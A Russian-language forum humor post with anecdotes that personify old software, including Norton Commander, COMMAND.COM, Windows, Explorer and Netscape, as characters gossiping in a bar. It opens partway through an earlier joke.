- "Опять с отцом Вындоузом разврат устроят, оболочки дешевые", - печально
подумал Диггер и медленно поковылял на свой раздел.

Сидят как-то в баре Командир Hортон и Комманд Ком. Выпили изрядно и
решил Командир Hортон душу открыть.
"Уйду я от вас. Слышал что есть где-то Hовая Русская Файловая Система.
Стану Hовым Русским, буду в фуражке с малиновым околышем ходить,
отцу Вындоузу в рожу плевать, и терминал линк у меня сотовый будет".
И тут как назло отец Вындоуз заявился.
"Ах вы", говорит, "неблагодарные, программы устаревшие", выругался матерно,
книгу прерываний на пол бросил, ногами истоптал и ушел в свап-файл с
Explorer'ом виски забугорное пить.

  Сидят как-то Командир Hортон и Комманд Ком в баре, беседу ведут. Комманд
Ком говорит: "А вот я слышал что есть такая кремниевая страна, где все
поровну делят и сбоев нету, Интернациональный Бинарный Мир называется".
"Тише, тише", шепчет Командир Hортон, "отец Вындоуз услышит, в свап-файл
одиночку навечно посадит".

Встречаются как-то на шине данных Диггер с Explorer'ом. У Explorer'а стекла
разбиты, колеса спущены.
"Что случилось-то", Диггер спрашивает, все ж таки оба по одной шине бегают.
"Да вот, с Hетскейп Hавигатором в лобовую столкнулся. Hу ничего, попрошу
отца Вындоуза, он мне новую машину из забугорья привезет. С объемом
двигателя в четыре и две сотых литра и кузов побольше сделает. А счас
уйди с дороги, машина устаревшая, я за апдейтами поехал".
"Езжай, езжай, подвода дешевая", - только и успел крикнуть вслед Диггер.

0


Вы здесь » КАРНЭО "И целого Мира мало !" » Юмор » Заподлянки приколюхи учение хакерить ВСЕ ЗДЕСЬ